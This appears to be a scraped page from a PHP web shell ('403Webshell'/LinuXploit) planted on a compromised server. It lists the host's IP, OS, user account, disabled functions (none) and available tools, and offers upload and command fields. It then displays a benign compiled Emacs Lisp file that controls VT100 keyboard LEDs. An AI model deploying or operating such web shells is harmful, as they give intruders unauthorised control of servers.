403Webshell
Server IP : 217.160.0.212  /  Your IP : 216.73.216.141
Web Server : Apache
System : Linux www 6.18.51-i1-ampere #1196 SMP Fri Sep 11 20:43:55 CEST 2026 aarch64
User : sws1073854427 ( 1073854427)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/share/emacs/28.2/lisp/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /usr/share/emacs/28.2/lisp/vt100-led.elc
;ELC
;;; Compiled
;;; in Emacs version 28.2
;;; with all optimizations.



#@86 The internal state of the LEDs.  Choices are nil, t, `flash'.
Element 0 is not used.
(defvar led-state (make-vector 5 nil) (#$ . 84))
#@22 Flash LED l.

(fn L)
(defalias 'led-flash #[257 "\301I\210\302 \207" [led-state flash led-update] 4 (#$ . 224)])
#@86 Turn off vt100 led number L.  With no argument, turn them all off.

(fn &optional L)
(defalias 'led-off #[256 "\211\203\301!\302I\210\202\303\302\"\210\304 \207" [led-state prefix-numeric-value nil fillarray led-update] 4 (#$ . 345) "P"])
#@24 Turn on LED L.

(fn L)
(defalias 'led-on #[257 "\301I\210\302 \207" [led-state t led-update] 4 (#$ . 597)])
#@59 Update the terminal's LEDs to reflect the internal state.
(defalias 'led-update #[0 "\301\302\303\211\304U\2042H\211\305=\203\306\307!Q\262\210\202+\211\203*\306\307!Q\262\210\211T\262\202\310\311R\262\312!\207" [led-state "[?0" "[0" 1 5 flash ";" int-to-string "q" "t" send-string-to-terminal] 8 (#$ . 713)])
(provide 'vt100-led)

Youez - 2016 - github.com/yon3zu
LinuXploit